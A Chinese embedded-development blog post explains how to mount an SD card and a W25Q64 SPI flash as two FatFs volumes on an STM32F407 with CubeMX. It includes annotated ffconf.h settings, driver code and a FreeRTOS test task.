当前位置: 首页 > news >正文

Cubemx文件系统挂载多设备

cubumx版本:6.13.0

芯片:STM32F407VET6

    在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置,由于SD卡使用的是SDIO通讯,因此具体驱动不需要自己实现,Cubemx中就可以直接配置然后生成SDIO的驱动,并将SD卡驱动和FATFS绑定。这里我们再实现一个外部FLASH来作为FATFS的另一个存储设备,FLASH的型号为W25Q64,Cubemx的FATFS需要在原来的SD卡配置的基础上增加一个User-defined的配置,用于说明还会在FATFS上挂载一个用户自定义驱动的存储设备。同时挂载多个设备时,FATFS的MIN_SS和MAX_SS范围需要涵盖所有设备的扇区大小,Cubemx的FATFS设置如下:


 

FATFS参数配置说明

ffconf.h:
/*-----------------------------------------------------------------------------/
/ Function Configurations  FATFS功能裁剪配置
/-----------------------------------------------------------------------------*/#define _FS_READONLY         0      /* 0:Read/Write or 1:Read only */
//定义:设置文件系统是否只读。
//0:读写模式(可读写文件)。
//1:只读模式(只能读取文件)。
//影响:只读模式会禁用写入相关函数,例如 f_write、f_sync、f_unlink 等,减小代码体积。#define _FS_MINIMIZE         0      /* 0 to 3 */
//定义:设置精简级别,移除部分 API 函数。
//0:启用所有基本函数。
//1:移除 f_stat、f_getfree、f_unlink、f_mkdir、f_truncate 和 f_rename。
//2:在级别 1 的基础上,移除 f_opendir、f_readdir 和 f_closedir。
//3:在级别 2 的基础上,移除 f_lseek。#define _USE_STRFUNC         2      /* 0:Disable or 1-2:Enable */
//定义:控制字符串相关函数(如 f_gets、f_putc、f_puts 和 f_printf)的启用。
//0:禁用字符串函数。
//1:启用字符串函数,无换行符转换。
//2:启用字符串函数,并在 LF 与 CRLF 之间转换。#define _USE_FIND            0
//定义:控制目录过滤读取功能(f_findfirst 和 f_findnext)。
//0:禁用。
//1:启用。
//2:启用,同时匹配备用文件名。#define _USE_MKFS            1
//定义:控制 f_mkfs(格式化磁盘)函数的启用。
//0:禁用。
//1:启用。#define _USE_FASTSEEK        1
//定义:启用快速文件定位功能。
//0:禁用。
//1:启用(需要文件系统的 SEEK 表支持)。#define	_USE_EXPAND		0
//定义:启用 f_expand(扩展文件大小)功能。
//0:禁用。
//1:启用。#define _USE_CHMOD		0
//定义:启用属性修改函数(f_chmod 和 f_utime)。
//0:禁用。
//1:启用(需要 _FS_READONLY = 0)。#define _USE_LABEL           0
//定义:控制卷标操作函数(f_getlabel 和 f_setlabel)。
//0:禁用。
//1:启用。#define _USE_FORWARD         0
//定义:启用 f_forward 函数,用于流式数据转发(例如,直接发送到 UART)。
//0:禁用。
//1:启用。/*-----------------------------------------------------------------------------/
/ Locale and Namespace Configurations 读写文件操作的格式设置
/-----------------------------------------------------------------------------*/#define _CODE_PAGE         850
//定义:设置目标系统使用的 OEM 代码页,用于字符编码。
//常见值:437(美国),850(Latin 1),936(简体中文),932(日文)。
//如果设置不正确,可能导致文件打开失败。#define _USE_LFN     2    /* 0 to 3 */
#define _MAX_LFN     255  /* Maximum LFN length to handle (12 to 255) */
//定义:_USE_LFN:启用长文件名(LFN);_MAX_LFN:设置最长支持的文件名长度(12~255),建议为255。
//启用LFN时必须添加Unicode处理功能(在option/unicode.c中实现),同时LFN工作缓冲区会占用 //(_MAX_LFN + 1)*2字节,如果文件系统类型为exFAT还会额外占用608字节。当_MAX_LFN设置为255时可支 //持完整的长文件名操作。
//_USE_LFN:
//0:禁用。
//1:启用(使用静态缓冲区,不支持线程安全)。
//2:启用(使用堆栈动态缓冲区)。
//3:启用(使用堆动态缓冲区)。#define _LFN_UNICODE    0 /* 0:ANSI/OEM or 1:Unicode */
//定义:切换 API 的字符编码方式。
//0: 使用 ANSI/OEM 编码(通常是非 Unicode 的本地编码,如 ASCII)。
//1: 使用 UTF-16(Unicode 编码),支持更多语言字符。#define _STRF_ENCODE    3
//定义:设置字符串 I/O 函数(如 f_gets、f_puts)在文件中读写的字符编码。
//0:ANSI/OEM。
//1:UTF-16LE。
//2:UTF-16BE。
//3:UTF-8。#define _FS_RPATH       0 /* 0 to 2 */
//定义:支持相对路径。
//0:禁用相对路径。
//1:启用相对路径(支持 f_chdir 和 f_chdrive)。
//2:在级别 1 的基础上启用 f_getcwd。/*---------------------------------------------------------------------------/
/ Drive/Volume Configurations
/----------------------------------------------------------------------------*/#define _VOLUMES    3
//定义:设置支持的逻辑驱动器数(卷)。/* USER CODE BEGIN Volumes */
#define _STR_VOLUME_ID   0  /* 0:Use only 0-9 for drive ID, 1:Use strings for drive ID */
//定义:切换卷标(Volume ID)的格式。如果设置为1启用字符串模式,还需定义_VOLUME_STRS
//0: 卷标只使用数字(如 0:, 1: 表示逻辑驱动器)。
//1: 卷标可以使用字符串。
#define _VOLUME_STRS            "RAM","NAND","CF","SD1","SD2","USB1","USB2","USB3"
//定义:每个逻辑驱动器单独的字符串ID。例如:"SD1" 表示第一个 SD 卡设备,"USB1" 表示第一个 USB 存储设 //备。注意:字符串卷标的字符限制为A-Z和0-9,数量应等于_VOLUMES 的值。
/* USER CODE END Volumes */#define _MULTI_PARTITION     0 /* 0:Single partition, 1:Multiple partition */
//定义:是否支持切换一个物理设备上的多个分区。
//0: 不支持多分区。每个逻辑驱动器号固定绑定到一个物理驱动器号。仅能挂载物理驱动器上存在的第一个 //FAT 分区。例如一个SD卡中有C盘和D盘两个分区,挂载时只会挂载SD卡第一个分区盘。
//1: 支持多分区。可以通过 VolToPart[]数组配置逻辑驱动器与物理驱动器、分区的绑定关系。还可以使用 //f_fdisk()函数操作分区表。适用场景:在需要管理多个分区(例如 SD 卡或硬盘有多个分区)的场景下启 //用。#define _MIN_SS    512  /* 512, 1024, 2048 or 4096 */
#define _MAX_SS    4096  /* 512, 1024, 2048 or 4096 */
//定义:设置存储设备扇区大小范围。
//值:SD卡通常为512,外部FLASH可能会更大,所用存储设备扇区大小应该在_MIN_SS和_MAX_SS之间,如果 
//_MAX_SS大于_MIN_SS,则FATFS会调用disk_ioctl()函数中的GET_SECTOR_SIZE命令去获取设备扇区大小#define	_USE_TRIM      0
//定义:是否支持ATA-TRIM指令。启用该功能需要在disk_ioctl()函数中实现CTRL_TRIM命令,用于触发 //TRIM操作。适用场景:使用SSD或其他支持TRIM的存储设备时,启用此功能可以提高性能和延长设备寿命。
//0: 禁用TRIM功能。
//1: 启用TRIM功能。#define _FS_NOFSINFO    0 /* 0,1,2 or 3 */
//定义:控制对FAT32的FSINFO区的使用。FSINFO是FAT32文件系统中的一个特定结构,用于记录剩余空闲簇 
//数和最后分配的簇号。如果文件系统可能损坏或设备需要准确计算空闲空间,设置bit0=1。如果启用了动态 //内存管理或对性能要求较高,可以信任FSINFO(bit0=0 和 bit1=0)
//不同的位设置方式如下:
//bit 0: 是否信任空闲簇计数(free cluster count)。
//0: 使用 FSINFO 中的空闲簇计数(默认)。
//1: 不信任 FSINFO,首次调用 f_getfree() 时执行全盘 FAT 表扫描以计算空闲簇。
//bit 1: 是否信任最后分配簇号(last allocated cluster number)。
//0: 使用 FSINFO 中的最后分配簇号(默认)。
//1: 不信任 FSINFO 中的最后分配簇号。/*---------------------------------------------------------------------------/
/ System Configurations
/----------------------------------------------------------------------------*/#define _FS_TINY    0      /* 0:Normal or 1:Tiny */
//定义: 决定是否使用“Tiny”模式的缓冲区配置。
//0 (Normal):使用标准模式。每个打开的文件对象 (FIL) 包含一个私有的扇区缓冲区。这种方式占用更多 //内存,但文件访问效率较高,特别是对多个文件进行并发操作时。
//1 (Tiny):启用Tiny配置。在Tiny模式下,每个文件对象(FIL)中会移除私有的扇区缓冲区。所有文件共享 //一个公共的扇区缓冲区,这个缓冲区存储在文件系统对象 (FATFS) 中。好处是减少内存消耗,适合低内存环 //境,但多个文件并发操作时性能可能会下降。#define _FS_EXFAT	1
//定义:支持 exFAT 文件系统(需启用 LFN)。
//0:不支持
//1:支持#define _FS_NORTC	0
#define _NORTC_MON	6
#define _NORTC_MDAY	4
#define _NORTC_YEAR	2015
//定义:禁用RTC时间戳功能,禁用后文件修改时间将会被设置为_NORTC_YEAR、_NORTC_MON、_NORTC_MDAY
//但是对只读文件不起作用
//0:禁用
//1:不禁用#define _FS_LOCK    2     /* 0:Disable or >=1:Enable */
//定义:文件锁控制,避免并发操作问题。当_FS_READONLY为1时,本设置必须为0
//0:禁用。
//>0:启用,并设置最大同时打开的文件数量。#define _FS_REENTRANT    1  /* 0:Disable or 1:Enable */
//定义:决定是否启用文件系统的可重入性(线程安全)。启用可重入性后涉及文件/目录访问的函数调用需要通 //过同步对象(如信号量、互斥锁)控制访问。因此需要用户提供以下函数的实现:ff_req_grant():请求同 //步对象;ff_rel_grant():释放同步对象;ff_cre_syncobj():创建同步对象;ff_del_syncobj():删除 //同步对象;
//0:禁用可重入性。不提供线程安全机制。如果多个线程同时访问同一个文件系统卷(比如读写同一个文   //件),可能会导致数据损坏。
//1:启用可重入性。增加线程同步机制,确保多个线程访问同一文件系统卷时不发生冲突。
#define _USE_MUTEX       0 /* 0:Disable or 1:Enable */
//定义: 决定是否使用互斥锁作为文件系统可重入性的同步机制。
//0:禁用互斥锁。需要实现其他同步机制(如信号量)。
//1:启用互斥锁。使用互斥锁作为线程同步的主要工具。
#define _FS_TIMEOUT      1000 /* Timeout period in unit of time ticks */
//定义: 定义同步操作的超时时间。取决于系统的时间单位(通常是“时钟节拍”,一般为1ms)。如果线程在等 //待同步对象时超过了指定的时间,就会返回超时错误。
#define _SYNC_t          osSemaphoreId_t
//定义: 定义同步对象的类型。该类型取决于具体操作系统的同步机制,比如信号量或互斥锁。在 FreeRTOS //中,可以定义为 SemaphoreHandle_t。在 CMSIS RTOS中,可以定义为 osSemaphoreId_t。需要在ff.h的//范围内包含操作系统的头文件,以确保同步对象类型定义有效。/* define the ff_malloc ff_free macros as FreeRTOS pvPortMalloc and vPortFree macros */
#if !defined(ff_malloc) && !defined(ff_free)
#define ff_malloc  pvPortMalloc
#define ff_free  vPortFree
//设置FATFS的动态分配内存和动态释放内存函数,这里直接使用FreeRTOS的相关函数,也说明了Cubemx配置 
//FATFS时必须也要配置FreeRTOS
#endif

        FATFS会为每一个存储设备对象分配一个单独的win缓冲区,大小一般为_MAX_SS个字节。在不开启_FS_TINY的情况下,存储设备对象每打开一个FIL文件,还会为该文件分配一个私有的扇区缓冲区。在Tiny模式下,存储设备对象打开的所有文件共享该对象的win缓冲区;

      需要注意的是这里的文件缓冲区和f_mkfs ( const TCHAR* path, BYTE opt,DWORD au,  void* work,  UINT len )格式化缓冲区不是一个概念,格式化时使用的缓冲区是专门用于格式化操作的,与 FATFS 文件系统的内部缓冲区无直接关系。主要用于存储临时数据(例如扇区数据)在格式化文件系统过程中使用,格式化之后就不需要了。如果内存需求较大或设备内存有限,可以使用malloc动态分配格式化缓冲区内存,格式化结束后释放。缓冲区大小必须要为大于等于MAX_SS;

    FATFS中,比较重要的两个数据类型是FATFS存储设备对象和FIL文件对象,如下:

ff.h:
/* File system object structure (FATFS) */typedef struct {BYTE	fs_type;		/* 文件系统类型标志,0表示未挂载,其他值表示FAT12、FAT16、FAT32 或 exFAT等 */BYTE	drv;			/* 物理驱动器号(逻辑盘号) */BYTE	n_fats;			/* FAT表的数量(1或2)大多数情况为 2,表示有主FAT和备份FAT*/BYTE	wflag;			/* win[]缓冲区状态标志,标志位bit0=1表示缓冲区已修改,需要同步写回到存储设备*/BYTE	fsi_flag;		/* FSINFO节点状态标志(仅适用于FAT32)bit7=1: 禁用FSINFO节点。
bit0=1: FSINFO节点已被修改,需要写回*/WORD	id;				/* 文件系统挂载 ID,用于标识挂载的卷。每次挂载或重新格式化时都会更新此ID,用于防止错误访问已卸载的卷 */WORD	n_rootdir;		/* 根目录条目数(仅适用于FAT12/16,每个条目为32字节,默认大小为 512条目)在FAT32中根目录大小是动态分配的,此参数为0。*/WORD	csize;			/* 每个簇包含的扇区数(簇大小) */
#if _MAX_SS != _MIN_SSWORD	ssize;			/* 扇区大小(以字节为单位,值为512、1024、2048、4096) */
#endif
#if _USE_LFN != 0WCHAR*	lfnbuf;			/* 长文件名(LFN)工作缓冲区,在ffconf.h中决定在堆还是栈中分配 */
#endif
#if _FS_EXFATBYTE*	dirbuf;			/* 目录条目块缓冲区(仅适用于exFAT),大小为几百个字节,按ffconf.h的定义为608字节,分配方式和lfnbuf一致 */
#endif
#if _FS_REENTRANT_SYNC_t	sobj;			/* 同步对象标识符(在多线程模式下启用) */
#endif
#if !_FS_READONLYDWORD	last_clst;		/* 最后分配的簇号。FAT 文件系统分配文件时用于快速查找下一个空簇 */DWORD	free_clst;		/* 空闲簇的数量。用于加速 f_getfree 函数计算可用空间 */
#endif
#if _FS_RPATH != 0DWORD	cdir;			/* 当前目录的起始簇号(根目录为 0)。用于跟踪当前工作目录。 */
#if _FS_EXFATDWORD	cdc_scl;		/* 包含目录的起始簇号(仅适用于 exFAT)。当cdir为0(在根目录)时无效。 */DWORD	cdc_size;		/* 包含目录的大小和链状态。bit31-bit8: 目录大小(以字节为单位)。
bit7-bit0: 链状态。 */DWORD	cdc_ofs;		/* 包含目录的偏移量。当cdir为0(在根目录)时无效。*/
#endif
#endifDWORD	n_fatent;		/* FAT 表的总条目数(簇总数 + 2)用于计算卷的实际容量。 */DWORD	fsize;			/* FAT 表的大小(以扇区为单位)*/DWORD	volbase;		/* 卷的起始扇区号。用于支持多分区模式 */DWORD	fatbase;		/* FAT 表的起始扇区号 */DWORD	dirbase;		/* 根目录的起始扇区号(在FAT32中为起始簇号) */DWORD	database;		/* 数据区的起始扇区号。文件和目录的实际数据存储区 */DWORD	winsect;		/* 记录当前存储在文件系统对象的win[]缓冲区中的逻辑扇区号*/BYTE	win[_MAX_SS];	/* 磁盘访问缓冲区(用于 FAT、目录和文件数据)。win[]是一个扇区缓存,用于暂时存储存储设备中的某个扇区数据。每次需要读取或写入文件系统元数据(如目录表、FAT 表等)时,系统会先将目标扇区加载到 win[];当需要修改文件系统元数据时,修改首先发生在 win[]缓冲区中,而不是直接写回存储设备。修改完成后,需要调用sync操作(如f_sync())将 win[] 中的数据写回存储设备的对应扇区。_FS_TINY 配置为1时不创建文件的私有缓冲区,win[]缓冲区用于所有文件传输操作 */
} FATFS;/* File object structure (FIL) */typedef struct {_FDID	obj;			/* 对象标识符,用于管理和验证文件对象。) */BYTE	flag;			/* 用于表示文件的状态,如打开模式、访问权限等。 */BYTE	err;			/* 当操作出错时,通过此标志提供具体错误信息 */FSIZE_t	fptr;			/* 指示当前文件读/写操作的位置(以字节为单位,从存储设备的第0字节开始计算) */DWORD	clust;			/* 当前读/写位置的簇号,当fptr为0时,clust无效 */DWORD	sect;			/* 记录文件私有缓冲区buf[]中当前数据所对应的逻辑扇区号,0表示无效,用于加速数据访问,避免频繁的磁盘读写 */
#if !_FS_READONLYDWORD	dir_sect;		/* 记录文件的目录项所在扇区位置,用于更新文件的目录项(如文件长度、时间戳等)在写入文件时,便于快速找到文件的目录信息。 */BYTE*	dir_ptr;		/* 指向文件目录项在文件系统窗口win[]中的位置,用于直接修改文件的目录项数据,用于文件写入或文件关闭时的目录项更新 */
#endif
#if _USE_FASTSEEKDWORD*	cltbl;			/* 指向簇链映射表的指针,用于支持快速定位文件的特性(快速查找)*/
#endif
#if !_FS_TINYBYTE	buf[_MAX_SS];	/* 文件的私有数据读/写缓冲区,功能类似与FATFS数据类型中的win[],使用私有缓冲区可以加快文件读写速度 */
#endif
} FIL;

 
W25Q64驱动如下:

HAL库W25Qxx系列芯片驱动-CSDN博客

在实现完驱动之后,我们需要手动将驱动和FATFS绑定在一起,绑定步骤如下:

STM32CubeMX学习笔记(25)——FatFs文件系统使用(操作SPI Flash)_stm32 fatfs-CSDN博客

CubeMX配置STM32实现FatFS文件系统(五)_stm32cubemx文件系统-CSDN博客

 关于FATFS设备驱动绑定的具体实现如下:

   注意这里我把SD卡和SPI_FLASH的驱动都写到了user_diskio.c中,但其实SD卡的驱动本质上还是调用的Cubemx生成的sd_diskio.c中的函数,因此我们挂载设备时使用SD_Driver还是USER_Driver都可以。

user_diskio.c:
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
#define SD_CARD		0     // 外部SD卡  这里定义的值和lun参数要对应上
#define SPI_FLASH		1     // 外部SPI Flash#define SPI_FLASH_OFFSET		0     // 外部SPI Flash偏移量,偏移后的空间给FATFS,偏移前的空间用于存储类似固件等非FATFS控制下的信息
/* Private variables ---------------------------------------------------------*//*** @brief  Initializes a Drive* @param  pdrv: Physical drive number (0..)* @retval DSTATUS: Operation status*/
DSTATUS USER_initialize (BYTE pdrv           /* Physical drive nmuber to identify the drive */
)
{/* USER CODE BEGIN INIT */uint16_t i;DSTATUS status = STA_NOINIT;	switch (pdrv) {   case SD_CARD:    /* SD卡 */ {status = SD_Driver.disk_initialize(pdrv);break;}case SPI_FLASH:    /* SPI Flash */ {/* 初始化SPI Flash */// 检查初始化函数返回值if(BSP_W25Qx_Init() != W25Qx_OK) {status = STA_NOINIT;break;}/* 获取SPI Flash芯片状态 */status = USER_status(SPI_FLASH); break;}default:status = STA_NOINIT;}return status;/* USER CODE END INIT */
}/*** @brief  Gets Disk Status* @param  pdrv: Physical drive number (0..)* @retval DSTATUS: Operation status*/
DSTATUS USER_status (BYTE pdrv       /* Physical drive number to identify the drive */
)
{/* USER CODE BEGIN STATUS */DSTATUS status = STA_NOINIT;switch (pdrv) {case SD_CARD:    /* SD卡 */ {status = SD_Driver.disk_status(pdrv);break;}case SPI_FLASH: {			uint8_t ID[4];          //设备ID缓存数组BSP_W25Qx_Read_ID(ID);/* SPI Flash状态检测:读取SPI Flash 设备ID */if((ID[0] == W25Q64_FLASH_ID >> 8) && (ID[1] == (W25Q64_FLASH_ID&0xFF))){/* 设备ID读取结果正确 */status &= ~STA_NOINIT;}else{/* 设备ID读取结果错误 */status = STA_NOINIT;;}break;}default:status = STA_NOINIT;}return status;/* USER CODE END STATUS */
}/*** @brief  Reads Sector(s)* @param  pdrv: Physical drive number (0..)* @param  *buff: Data buffer to store read data* @param  sector: Sector address (LBA)* @param  count: Number of sectors to read (1..128)* @retval DRESULT: Operation result*/
DRESULT USER_read (BYTE pdrv,      /* Physical drive nmuber to identify the drive */BYTE *buff,     /* Data buffer to store read data */DWORD sector,   /* Sector address in LBA */UINT count      /* Number of sectors to read */
)
{/* USER CODE BEGIN READ */DRESULT status = RES_PARERR;switch (pdrv) {case SD_CARD:    /* SD卡 */ {status = SD_Driver.disk_read(pdrv,buff,sector,count);break;}case SPI_FLASH:{/* 扇区偏移SPI_FLASH_OFFSET,外部Flash文件系统放在SPI Flash后面的空间,前面的SPI_FLASH_OFFSET空间可以用于存储固件等非文件系统控制下的信息 */sector += SPI_FLASH_OFFSET;     if (BSP_W25Qx_Read(buff, sector <<12, count<<12) != W25Qx_OK){status = RES_ERROR;} else {status = RES_OK;}			break;}default:status = RES_PARERR;}return status;/* USER CODE END READ */
}/*** @brief  Writes Sector(s)* @param  pdrv: Physical drive number (0..)* @param  *buff: Data to be written* @param  sector: Sector address (LBA)* @param  count: Number of sectors to write (1..128)* @retval DRESULT: Operation result*/
#if _USE_WRITE == 1
DRESULT USER_write (BYTE pdrv,          /* Physical drive nmuber to identify the drive */const BYTE *buff,   /* Data to be written */DWORD sector,       /* Sector address in LBA */UINT count          /* Number of sectors to write */
)
{/* USER CODE BEGIN WRITE *//* USER CODE HERE */uint32_t write_addr; DRESULT status = RES_PARERR;if (!count) {return RES_PARERR;		/* Check parameter */}switch (pdrv) {case SD_CARD:    /* SD卡 */ {status = SD_Driver.disk_write(pdrv,buff,sector,count);break;}case SPI_FLASH:{/* 扇区偏移SPI_FLASH_OFFSET,外部Flash文件系统放在SPI Flash后面的空间,前面的空间可以用于存储固件等非文件系统控制下的信息 */sector += SPI_FLASH_OFFSET;write_addr = sector << 12; // 假设扇区大小4096字节for (UINT i = 0; i < count; i++) {  //默认文件缓冲区为1个扇区大小时这个循环没用,因为一次只会写入一个扇区uint32_t current_addr = write_addr + (i << 12);// 擦除当前扇区对应的块if (BSP_W25Qx_Erase_Block(current_addr) != W25Qx_OK) {return RES_ERROR;}}// 写入所有扇区if (BSP_W25Qx_Write((uint8_t *)buff, write_addr, count << 12) != W25Qx_OK) {return RES_ERROR;}status = RES_OK;break;}default:status = RES_PARERR;}return status;/* USER CODE END WRITE */
}
#endif /* _USE_WRITE == 1 *//*** @brief  I/O control operation* @param  pdrv: Physical drive number (0..)* @param  cmd: Control code* @param  *buff: Buffer to send/receive control data* @retval DRESULT: Operation result*/
#if _USE_IOCTL == 1
DRESULT USER_ioctl (BYTE pdrv,      /* Physical drive nmuber (0..) */BYTE cmd,       /* Control code */void *buff      /* Buffer to send/receive control data */
)
{/* USER CODE BEGIN IOCTL */DRESULT status = RES_PARERR;switch (pdrv) {case SD_CARD:    /* SD卡 */ {status = SD_Driver.disk_ioctl(pdrv,cmd,buff);break;}case SPI_FLASH:{switch (cmd) {/* 扇区数量: */case GET_SECTOR_COUNT:*(DWORD * )buff = W25Q64FV_SUBSECTOR_NUM - SPI_FLASH_OFFSET;		break;/* 扇区大小  */case GET_SECTOR_SIZE :*(WORD * )buff = 4096;break;/* 同时擦除扇区个数 */case GET_BLOCK_SIZE :*(DWORD *)buff = 1;break;        }status = RES_OK;break;}default:status = RES_PARERR;}return status;/* USER CODE END IOCTL */
}
#endif /* _USE_IOCTL == 1 */

如果设置了RTC,还可以将RTC的获取时间函数和FATFS的相关函数绑定 

fatfs.c:
/*** @brief  Gets Time from RTC* @param  None* @retval Time in DWORD*/
DWORD get_fattime(void)
{/* USER CODE BEGIN get_fattime */return 0;/* USER CODE END get_fattime */
}

      注意进行驱动绑定后,如果你的user_diskio.c中实现了不止一种设备的驱动或者设备的逻辑驱动器路径不为0:/,在注册设备时需要将Disk_drvTypeDef数据类型变量disk的lun参数进行修改,原因是绑定设备时我们会通过disk这个全局变量将FATFS_LinkDriver(const Diskio_drvTypeDef *drv, char *path)函数将我们FATFS的驱动层user_diskio.c或者sd_diskio.c这类.c文件中的底层设备驱动函数和FATFS的中间层diskio.c文件中的中间设备驱动函数进行绑定,而在使用f_open()、f_close()这些FATFS操作函数时我们都是先调用diskio.c中的下述几个函数:

DSTATUS disk_initialize (BYTE pdrv);
DSTATUS disk_status (BYTE pdrv);
DRESULT disk_read (BYTE pdrv, BYTE* buff, DWORD sector, UINT count);
DRESULT disk_write (BYTE pdrv, const BYTE* buff, DWORD sector, UINT count);
DRESULT disk_ioctl (BYTE pdrv, BYTE cmd, void* buff);

    然后通过上述几个中间设备驱动函数调用全局变量disk从而间接调用我们自己实现的底层设备驱动,我们以disk_status和disk_initialize这两个中间设备驱动函数为例,我们可以看出来其调用的是disk全局变量中关于设备驱动函数数组drv[]中的驱动,向底层驱动函数中传入的参数就是lun[]数组中的值,根据ff.c中关于f_open()、f_close()这些FATFS操作函数的实现我们可以知道,当设备的逻辑驱动路径为0-9时,中间设备驱动函数传入的参数BYTE pdrv就是对路径0:/-9:/解析后的数字0-9,而FATFS设备驱动绑定时就是一个设备对应全局变量disk中一个drv[]数组和一个lun[]数组中的元素值,由于每次调用FATFS_LinkDriver(const Diskio_drvTypeDef *drv, char *path)设备驱动绑定函数时都默认lun参数为0,因此每一个设备对应disklun[]数组元素的值都为0,这样向底层驱动函数中传入的参数就是0。

diskio.c:
/*** @brief  Gets Disk Status* @param  pdrv: Physical drive number (0..)* @retval DSTATUS: Operation status*/
DSTATUS disk_status (BYTE pdrv		/* Physical drive number to identify the drive */
)
{DSTATUS stat;stat = disk.drv[pdrv]->disk_status(disk.lun[pdrv]);return stat;
}/*** @brief  Initializes a Drive* @param  pdrv: Physical drive number (0..)* @retval DSTATUS: Operation status*/
DSTATUS disk_initialize (BYTE pdrv				/* Physical drive nmuber to identify the drive */
)
{DSTATUS stat = RES_OK;if(disk.is_initialized[pdrv] == 0){stat = disk.drv[pdrv]->disk_initialize(disk.lun[pdrv]);if(stat == RES_OK){disk.is_initialized[pdrv] = 1;}}return stat;
}ff_gen_drv.h:
/*** @brief  Disk IO Driver structure definition*/
typedef struct
{DSTATUS (*disk_initialize) (BYTE);                     /*!< Initialize Disk Drive                     */DSTATUS (*disk_status)     (BYTE);                     /*!< Get Disk Status                           */DRESULT (*disk_read)       (BYTE, BYTE*, DWORD, UINT);       /*!< Read Sector(s)                            */
#if _USE_WRITE == 1DRESULT (*disk_write)      (BYTE, const BYTE*, DWORD, UINT); /*!< Write Sector(s) when _USE_WRITE = 0       */
#endif /* _USE_WRITE == 1 */
#if _USE_IOCTL == 1DRESULT (*disk_ioctl)      (BYTE, BYTE, void*);              /*!< I/O control operation when _USE_IOCTL = 1 */
#endif /* _USE_IOCTL == 1 */}Diskio_drvTypeDef;/*** @brief  Global Disk IO Drivers structure definition*/
typedef struct
{uint8_t                 is_initialized[_VOLUMES];const Diskio_drvTypeDef *drv[_VOLUMES];uint8_t                 lun[_VOLUMES];volatile uint8_t        nbr;}Disk_drvTypeDef;ff_gen_drv.c:
Disk_drvTypeDef disk = {{0},{0},{0},0};/*** @brief  Links a compatible diskio driver/lun id and increments the number of active*         linked drivers.* @note   The number of linked drivers (volumes) is up to 10 due to FatFs limits.* @param  drv: pointer to the disk IO Driver structure* @param  path: pointer to the logical drive path* @param  lun : only used for USB Key Disk to add multi-lun managementelse the parameter must be equal to 0* @retval Returns 0 in case of success, otherwise 1.*/
uint8_t FATFS_LinkDriverEx(const Diskio_drvTypeDef *drv, char *path, uint8_t lun)
{uint8_t ret = 1;uint8_t DiskNum = 0;if(disk.nbr < _VOLUMES){disk.is_initialized[disk.nbr] = 0;disk.drv[disk.nbr] = drv;disk.lun[disk.nbr] = lun;DiskNum = disk.nbr++;path[0] = DiskNum + '0';path[1] = ':';path[2] = '/';path[3] = 0;ret = 0;}return ret;
}/*** @brief  Links a compatible diskio driver and increments the number of active*         linked drivers.* @note   The number of linked drivers (volumes) is up to 10 due to FatFs limits* @param  drv: pointer to the disk IO Driver structure* @param  path: pointer to the logical drive path* @retval Returns 0 in case of success, otherwise 1.*/
uint8_t FATFS_LinkDriver(const Diskio_drvTypeDef *drv, char *path)
{return FATFS_LinkDriverEx(drv, path, 0);
}

      这样就有一个问题,由于我们自己编写底层驱动函数时如果涉及到多个不同存储设备的使用,那么我们往往会在user_diskio.c中通过传入的参数pdrv结合switch判断来切换不同的存储设备底层驱动,这里传入的参数pdrv为该设备对应的lun参数,但我们看到FATFS_LinkDriver(const Diskio_drvTypeDef *drv, char *path)设备驱动绑定函数时都默认lun参数为0,因此当用switch对存储设备底层驱动进行切换时,如果case的值不为0就不会执行其中的代码。因此我们对存储设备进行FATFS初始化时建议不使用FATFS_LinkDriver函数,而是使用uint8_t FATFS_LinkDriverEx(const Diskio_drvTypeDef *drv, char *path, uint8_t lun)函数,这里我们可以自定义存储设备的lun参数值,和user_diskio.c中的switch-case判断值对应即可。例如user_diskio.c中SD卡的case判断为0执行,SPI_FLASH卡中的case判断为1执行,那对这两个设备进行初始化时就和USER_DRIVER绑定,然后lun参数分别设置为0和1,如下: 

/* USER CODE END Header */
#include "fatfs.h"uint8_t retSD;    /* Return value for SD */
char SDPath[4];   /* SD logical drive path */
FATFS SDFatFS;    /* File system object for SD logical drive */
FIL SDFile;       /* File object for SD */
uint8_t retUSER;    /* Return value for USER */
char USERPath[4];   /* USER logical drive path */
FATFS USERFatFS;    /* File system object for USER logical drive */
FIL USERFile;       /* File object for USER *//* USER CODE BEGIN Variables *//* USER CODE END Variables */void MX_FATFS_Init(void)
{/*## FatFS: Link the SD driver ###########################*///retSD = FATFS_LinkDriver(&SD_Driver, SDPath);/*## FatFS: Link the USER driver ###########################*///retUSER = FATFS_LinkDriver(&USER_Driver, USERPath);/* USER CODE BEGIN Init *//*## FatFS: Link the USER_2 driver ###########################*/retSD = FATFS_LinkDriverEx(&USER_Driver, SDPath,0);retUSER = FATFS_LinkDriverEx(&USER_Driver, USERPath,1);/* additional user code for init *//* USER CODE END Init */
}

    配置并绑定完SD卡和SPI_FLASH存储设备的底层驱动之后,我们发现外部FLASH的USERFatFS结构体中关于卷起始扇区volbase的值为0x3F = 63,第0个扇区为MBR(含分区表和引导代码),第1到第62扇区通常为保留未用区域,可能包含自定义数据或二级引导程序。FAT文件系统的引导扇区(BPB)从第63扇区处开始,至于为什么这样设置,可以说是一种文件系统的标准。

 测试文件系统使用SD卡和SPI_FLASH多设备程序和对应结果如下:
    这里注意保证分配给使用FATFS任务的堆栈足够大,否则容易产生堆栈溢出进入hardfault,我这里给FATFS_Task任务4K字节堆大小还是会溢出,最后分配了10K字节正常运行,建议实际跑操作系统任务时用StackOverflowHookHook钩子函数调试:


void FATFS_Task(void *argument)
{Mount_FatFs(&SDFatFS, SDPath, 1 ,FM_EXFAT,NULL,FATFS_Init_workBuffer_SIZE);  //挂载时会自动调用相关存储设备初始化函数FatFs_GetDiskInfo(SDPath);/*----------------------- 文件系统测试:写测试 -----------------------------*/FatFs_WriteTXTFile(SDPath,"test.txt",SDFile,2025,1,14); /*------------------- 文件系统测试:读测试 ------------------------------------*/FatFs_ReadTXTFile(SDPath,"test.txt",SDFile); 
/*------------------- 文件系统测试:删除测试 ------------------------------------*/FatFs_DeleteFile(SDPath,"test.txt",SDFile);//   /*****外部FLASH文件系统测试*****/Mount_FatFs(&USERFatFS, USERPath, 1 ,FM_ANY ,NULL,FATFS_Init_workBuffer_SIZE);  //挂载时会自动调用相关存储设备初始化函数FatFs_GetDiskInfo(USERPath);/*----------------------- 文件系统测试:写测试 -----------------------------*/FatFs_WriteTXTFile(USERPath,"test3.txt",USERFile,2025,1,14); /*------------------- 文件系统测试:读测试 ------------------------------------*/FatFs_ReadTXTFile(USERPath,"test3.txt",USERFile); 
